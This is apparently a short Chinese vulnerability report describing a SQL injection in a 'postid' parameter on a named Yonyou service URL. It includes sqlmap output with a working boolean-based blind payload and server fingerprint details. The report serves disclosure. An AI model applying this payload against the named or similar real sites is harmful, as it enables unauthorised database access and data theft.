用友某分战SQL注入第五弹

### 简要描述： 又来一发。。 ### 详细说明： 注入URL： ``` http://u9service.yonyou.com/servicehome/kmview.aspx?postid=ZS20100530204 ``` ``` sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutu consent is illegal. It is the end user's responsibility to obey all applicabl local, state and federal laws. Developers assume no liability and are not resp sible for any misuse or damage caused by this program [*] starting at 22:51:26 [22:51:26] [INFO] resuming back-end DBMS 'microsoft sql server' [22:51:26] [INFO] testing connection to the target URL sqlmap identified the following injection points with a total of 0 HTTP(s) req sts: --- Place: GET Parameter: postid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: postid=ZS20100530204' AND 7014=7014 AND 'qqSQ'='qqSQ --- [22:51:27] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2008 [22:51:27] [INFO] testing if current user is DBA [22:51:28] [WARNING] in case of continuous data retrieval problems you are adv ed to try a switch '--no-cast' or switch '--hex' current user is DBA: False [22:51:28] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1 times [22:51:28] [INFO] fetched data logged to text files under 'D:\Python27\sqlmap\ tput\u9service.yonyou.com' [*] shutting down at 22:51:28 ``` ### 漏洞证明： 如上